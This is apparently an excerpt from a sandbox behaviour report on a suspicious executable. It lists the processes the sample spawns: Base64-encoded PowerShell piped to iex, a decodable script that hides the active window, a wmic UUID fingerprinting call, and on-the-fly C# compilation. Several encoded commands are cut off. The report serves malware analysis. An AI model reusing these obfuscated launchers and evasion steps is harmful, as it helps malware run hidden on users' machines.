Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Base64 decoded [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"aWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ1dpbjMyJykuVHlwZSkgew0KICAgIEFkZC1UeXBlIEAiDQogICAgdXNpbmcgU3lzdGVtOw0KICAgIHVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsNCg0KICAgIHB1YmxpYyBjbGFzcyBXaW4zMiB7DQogICAgICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEZvcmVncm91bmRXaW5kb3coKTsNCg0KICAgICAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildDQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQ0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFNob3dXaW5kb3coSW50UHRyIGhXbmQsIGludCBuQ21kU2hvdyk7DQogICAgfQ0KIkANCn0NCmZ1bmN0aW9uIEdldEFjdGl2ZVdpbmRvd1RpdGxlKCkgew0KICAgICRoV25kID0gW1dpbjMyXTo6R2V0Rm9yZWdyb3VuZFdpbmRvdygpDQogICAgJHNiID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyKDI1NikNCiAgICBbV2luMzJdOjpHZXRXaW5kb3dUZXh0KCRoV25kLCAkc2IsICRzYi5DYXBhY2l0eSkgfCBPdXQtTnVsbA0KICAgIHJldHVybiAkc2IuVG9TdHJpbmcoKQ0KfQ0KZnVuY3Rpb24gSGlkZUFjdGl2ZVdpbmRvdygpIHsNCiAgICAkaFduZCA9IFtXaW4zMl06OkdldEZvcmVncm91bmRXaW5kb3coKQ0KICAgIFtXaW4zMl06OlNob3dXaW5kb3coJGhXbmQsIDApDQp9DQokY3VycmVudFdpbmRvd1RpdGxlID0gR2V0QWN0aXZlV2luZG93VGl0bGUNCkhpZGVBY3RpdmVXaW5kb3cNCg=="}' \| ConvertFrom-Json).Script)) \| iex	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: Base64 decoded [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(('{"Script":"aWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ1dpbjMyJykuVHlwZSkgew0KICAgIEFkZC1UeXBlIEAiDQogICAgdXNpbmcgU3lzdGVtOw0KICAgIHVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsNCg0KICAgIHB1YmxpYyBjbGFzcyBXaW4zMiB7DQogICAgICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0NCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldEZvcmVncm91bmRXaW5kb3coKTsNCg0KICAgICAgICBbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildDQogICAgICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQ0KICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBib29sIFNob3dXaW5kb3coSW50UHRyIGhXbmQsIGludCBuQ21kU2hvdyk7DQogICAgfQ0KIkANCn0NCmZ1bmN0aW9uIEdldEFjdGl2ZVdpbmRvd1RpdGxlKCkgew0KICAgICRoV25kID0gW1dpbjMyXTo6R2V0Rm9yZWdyb3VuZFdpbmRvdygpDQogICAgJHNiID0gTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyKDI1NikNCiAgICBbV2luMzJdOjpHZXRXaW5kb3dUZXh0KCRoV25kLCAkc2IsICRzYi5DYXBhY2l0eSkgfCBPdXQtTnVsbA0KICAgIHJldHVybiAkc2IuVG9TdHJpbmcoKQ0KfQ0KZnVuY3Rpb24gSGlkZUFjdGl2ZVdpbmRvdygpIHsNCiAgICAkaFduZCA9IFtXaW4zMl06OkdldEZvcmVncm91bmRXaW5kb3coKQ0KICAgIFtXaW4zMl06OlNob3dXaW5kb3coJGhXbmQsIDApDQp9DQokY3VycmVudFdpbmRvd1RpdGxlID0gR2V0QWN0aXZlV2luZG93VGl0bGUNCkhpZGVBY3RpdmVXaW5kb3cNCg=="}' \| ConvertFrom-Json).Script)) \| iex	Jump to behavior

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAY	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAY	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" csproduct get uuid /value	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3oofqhq2\3oofqhq2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES13F5.tmp" "c:\Users\user\AppData\Local\Temp\3oofqhq2\CSC76E89C1DFE954A0B872EAE18016ED95.TMP"	Jump to behavior

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encoded wwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacgajwb7aciauwbjahiaaqbwahqaiga6aciayqbxafkazwblaemamqb1agiamwbragcaswbgahqavablafgatgawafoavwawahuavabxaeyadqbzafcazabsagiavwbwahuazabdaduaqgbkafgaugb2agiavwbgadaayqbxadkadqbmagwaqgbuafyasabsahcawgbvaduaaabiafcavgbkaeoamqbkahaaygbqae0aeqbkahkaawb1afyasabsahcawgbtagsazwblahcamablaekaqwbbagcasqbfaeyaawbaaemamqbvaguawabcagwasqbfaeeaaqbeafeabwbnaekaqwbbagcazabyae4acabiag0aywbnafuamwbsahoazabhafyadabpahcamablaekaqwbbagcasqbiafyaegbhafcanqbuaekargboaduaywazafiababiafmanqbtagqavwa1adaayqbxadeababmagsabab1agqarwbwahkaygazaeiavabaafgasgayageavwboagwaywb6ahmatgbdagcamablaekaqwbbagcasqbiaeiamqbzag0aeabwafkaeqbcagoaygbhaeyaegbjahkaqgbyageavwa0ahoatqbpaeianwbeafeabwbnaekaqwbbagcasqbdaeeazwbjaeyadabfagiarwb4aeoaygbyaeiadgbjag4auqbvaekabgbwahoawgbyaekaegbnagkanqbragiarwb3agkaswbwadaatgbdagkaqqbnaekaqwbbagcasqbdaeeazwbjaegavgbpagiarwbsagoasqbiae4amabzafgaugbwafkaeqbcagwazqbiafiababjag0anabnafmavwa1adaavqbiafiaeqbjaeuazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmaywbvaesavabzae4aqwbnadaaswbjaemaqqbnaekaqwbbagcasqbdaeiaygbsaecaeabzafmavwaxahcaygazaeoamablaemasgaxagmamgbwahkatqb6aekadqbaaecaeabzaekaaqbsagqarabrag8azwbjaemaqqbnaekaqwbbagcasqbgahqaeqbaafgaugaxagmabqa0adyasqbfadeaaabjag4atgbvafkavwb4aeiaywb5aggavgbiag0amqboagiabqbgag4awgbxafiavqblafgaqgbsaewaawbkahyaygayahcacabyafeamablaekaqwbbagcasqbdaeeazwbjaemaqgb3agqavwbkahmayqbxae0azwbjadmaugboagqarwbsagoasqbhafyanabkaecavgb5agiaaqbcagkaygayadkacwbjaeyatgbvagiamwbkafgayqbxaduaawbiadmaywbvafmavwa1adaavqbiafiaeqbjaecaaabyagiabqbrahmasqbhagwadqbkaemaqgb1afeamgaxagsavqayaggadgbkahkaawa3aeqauqbvagcasqbdaeeazwbmafeamablaekaawbbae4aqwbuadaatgbdag0awgaxagiabqboadaayqbxadkadqbjaeuazabsagqarqbgagoazabhagwamgbaafyazabwagiabqbsahyazaaxafiacabkaecaeabsaesaqwbragcazqb3adaaswbjaemaqqbnaekaqwbsag8avgayaduaawbjaeqamabnafcamqbkahaaygbqae0aeqbyafqabwa2afiamgbwadaaugbtadkaeqbaafcazab5agiamwbwahuawgbgagqacabiag0augb2agqaeqbnahaarabrag8azwbjaemaqqbnaeoasaboagkasqbeadaazwbuag0avgazaewavqa5agkayqbtafyaagbkaemaqgbuaguawaboadaawgbxadaadqbwaecavga0agqaqwa1afqazabiaeoacabiag0azabdagqavwbsahmawgbhafyaeqblaeqasqaxae4aaqbrae4aqwbpaeeazwbjaemaqgbiafyamgbsahuatqb6aeoazabpagoacabiafoawabsafgayqbxaduaawbiadmazabvafoawaboadaaswbdafiabwbwadianqbraewaqwbbagsaywayaekacwbjaemaugb6afkaaqa1aeqawqbyaeiaaabzadiabaawaguauwbragcazgbdaeiauabkafgauqb0afqabgbwahmaygbbadaaswbjaemaqqbnaekasabkagwazabiafyaeqbiagkaqqbragmamgbjahuavgbhadkavabkaegasgbwagiabqbjag8aswbradaaswbmafeamablafoabgbwahuawqazafiacabiadianabnafmarwbsagsawgbvaeyaagbkaecabaayafoavgbkahaaygbtafiadgbkahkazwbwaekasabzae4aqwbpaeeazwbjaemaqqbrageargbkahuawgbdaeeaoqbjaeyadabyageavwa0ahoatqbsadaangbpagsazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmay
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encoded wwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacgajwb7aciauwbjahiaaqbwahqaiga6aciayqbxafkazwblaemamqb1agiamwbragcaswbgahqavablafgatgawafoavwawahuavabxaeyadqbzafcazabsagiavwbwahuazabdaduaqgbkafgaugb2agiavwbgadaayqbxadkadqbmagwaqgbuafyasabsahcawgbvaduaaabiafcavgbkaeoamqbkahaaygbqae0aeqbkahkaawb1afyasabsahcawgbtagsazwblahcamablaekaqwbbagcasqbfaeyaawbaaemamqbvaguawabcagwasqbfaeeaaqbeafeabwbnaekaqwbbagcazabyae4acabiag0aywbnafuamwbsahoazabhafyadabpahcamablaekaqwbbagcasqbiafyaegbhafcanqbuaekargboaduaywazafiababiafmanqbtagqavwa1adaayqbxadeababmagsabab1agqarwbwahkaygazaeiavabaafgasgayageavwboagwaywb6ahmatgbdagcamablaekaqwbbagcasqbiaeiamqbzag0aeabwafkaeqbcagoaygbhaeyaegbjahkaqgbyageavwa0ahoatqbpaeianwbeafeabwbnaekaqwbbagcasqbdaeeazwbjaeyadabfagiarwb4aeoaygbyaeiadgbjag4auqbvaekabgbwahoawgbyaekaegbnagkanqbragiarwb3agkaswbwadaatgbdagkaqqbnaekaqwbbagcasqbdaeeazwbjaegavgbpagiarwbsagoasqbiae4amabzafgaugbwafkaeqbcagwazqbiafiababjag0anabnafmavwa1adaavqbiafiaeqbjaeuazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmaywbvaesavabzae4aqwbnadaaswbjaemaqqbnaekaqwbbagcasqbdaeiaygbsaecaeabzafmavwaxahcaygazaeoamablaemasgaxagmamgbwahkatqb6aekadqbaaecaeabzaekaaqbsagqarabrag8azwbjaemaqqbnaekaqwbbagcasqbgahqaeqbaafgaugaxagmabqa0adyasqbfadeaaabjag4atgbvafkavwb4aeiaywb5aggavgbiag0amqboagiabqbgag4awgbxafiavqblafgaqgbsaewaawbkahyaygayahcacabyafeamablaekaqwbbagcasqbdaeeazwbjaemaqgb3agqavwbkahmayqbxae0azwbjadmaugboagqarwbsagoasqbhafyanabkaecavgb5agiaaqbcagkaygayadkacwbjaeyatgbvagiamwbkafgayqbxaduaawbiadmaywbvafmavwa1adaavqbiafiaeqbjaecaaabyagiabqbrahmasqbhagwadqbkaemaqgb1afeamgaxagsavqayaggadgbkahkaawa3aeqauqbvagcasqbdaeeazwbmafeamablaekaawbbae4aqwbuadaatgbdag0awgaxagiabqboadaayqbxadkadqbjaeuazabsagqarqbgagoazabhagwamgbaafyazabwagiabqbsahyazaaxafiacabkaecaeabsaesaqwbragcazqb3adaaswbjaemaqqbnaekaqwbsag8avgayaduaawbjaeqamabnafcamqbkahaaygbqae0aeqbyafqabwa2afiamgbwadaaugbtadkaeqbaafcazab5agiamwbwahuawgbgagqacabiag0augb2agqaeqbnahaarabrag8azwbjaemaqqbnaeoasaboagkasqbeadaazwbuag0avgazaewavqa5agkayqbtafyaagbkaemaqgbuaguawaboadaawgbxadaadqbwaecavga0agqaqwa1afqazabiaeoacabiag0azabdagqavwbsahmawgbhafyaeqblaeqasqaxae4aaqbrae4aqwbpaeeazwbjaemaqgbiafyamgbsahuatqb6aeoazabpagoacabiafoawabsafgayqbxaduaawbiadmazabvafoawaboadaaswbdafiabwbwadianqbraewaqwbbagsaywayaekacwbjaemaugb6afkaaqa1aeqawqbyaeiaaabzadiabaawaguauwbragcazgbdaeiauabkafgauqb0afqabgbwahmaygbbadaaswbjaemaqqbnaekasabkagwazabiafyaeqbiagkaqqbragmamgbjahuavgbhadkavabkaegasgbwagiabqbjag8aswbradaaswbmafeamablafoabgbwahuawqazafiacabiadianabnafmarwbsagsawgbvaeyaagbkaecabaayafoavgbkahaaygbtafiadgbkahkazwbwaekasabzae4aqwbpaeeazwbjaemaqqbrageargbkahuawgbdaeeaoqbjaeyadabyageavwa0ahoatqbsadaangbpagsazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmay
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encoded wwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacgajwb7aciauwbjahiaaqbwahqaiga6aciayqbxafkazwblaemamqb1agiamwbragcaswbgahqavablafgatgawafoavwawahuavabxaeyadqbzafcazabsagiavwbwahuazabdaduaqgbkafgaugb2agiavwbgadaayqbxadkadqbmagwaqgbuafyasabsahcawgbvaduaaabiafcavgbkaeoamqbkahaaygbqae0aeqbkahkaawb1afyasabsahcawgbtagsazwblahcamablaekaqwbbagcasqbfaeyaawbaaemamqbvaguawabcagwasqbfaeeaaqbeafeabwbnaekaqwbbagcazabyae4acabiag0aywbnafuamwbsahoazabhafyadabpahcamablaekaqwbbagcasqbiafyaegbhafcanqbuaekargboaduaywazafiababiafmanqbtagqavwa1adaayqbxadeababmagsabab1agqarwbwahkaygazaeiavabaafgasgayageavwboagwaywb6ahmatgbdagcamablaekaqwbbagcasqbiaeiamqbzag0aeabwafkaeqbcagoaygbhaeyaegbjahkaqgbyageavwa0ahoatqbpaeianwbeafeabwbnaekaqwbbagcasqbdaeeazwbjaeyadabfagiarwb4aeoaygbyaeiadgbjag4auqbvaekabgbwahoawgbyaekaegbnagkanqbragiarwb3agkaswbwadaatgbdagkaqqbnaekaqwbbagcasqbdaeeazwbjaegavgbpagiarwbsagoasqbiae4amabzafgaugbwafkaeqbcagwazqbiafiababjag0anabnafmavwa1adaavqbiafiaeqbjaeuazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmaywbvaesavabzae4aqwbnadaaswbjaemaqqbnaekaqwbbagcasqbdaeiaygbsaecaeabzafmavwaxahcaygazaeoamablaemasgaxagmamgbwahkatqb6aekadqbaaecaeabzaekaaqbsagqarabrag8azwbjaemaqqbnaekaqwbbagcasqbgahqaeqbaafgaugaxagmabqa0adyasqbfadeaaabjag4atgbvafkavwb4aeiaywb5aggavgbiag0amqboagiabqbgag4awgbxafiavqblafgaqgbsaewaawbkahyaygayahcacabyafeamablaekaqwbbagcasqbdaeeazwbjaemaqgb3agqavwbkahmayqbxae0azwbjadmaugboagqarwbsagoasqbhafyanabkaecavgb5agiaaqbcagkaygayadkacwbjaeyatgbvagiamwbkafgayqbxaduaawbiadmaywbvafmavwa1adaavqbiafiaeqbjaecaaabyagiabqbrahmasqbhagwadqbkaemaqgb1afeamgaxagsavqayaggadgbkahkaawa3aeqauqbvagcasqbdaeeazwbmafeamablaekaawbbae4aqwbuadaatgbdag0awgaxagiabqboadaayqbxadkadqbjaeuazabsagqarqbgagoazabhagwamgbaafyazabwagiabqbsahyazaaxafiacabkaecaeabsaesaqwbragcazqb3adaaswbjaemaqqbnaekaqwbsag8avgayaduaawbjaeqamabnafcamqbkahaaygbqae0aeqbyafqabwa2afiamgbwadaaugbtadkaeqbaafcazab5agiamwbwahuawgbg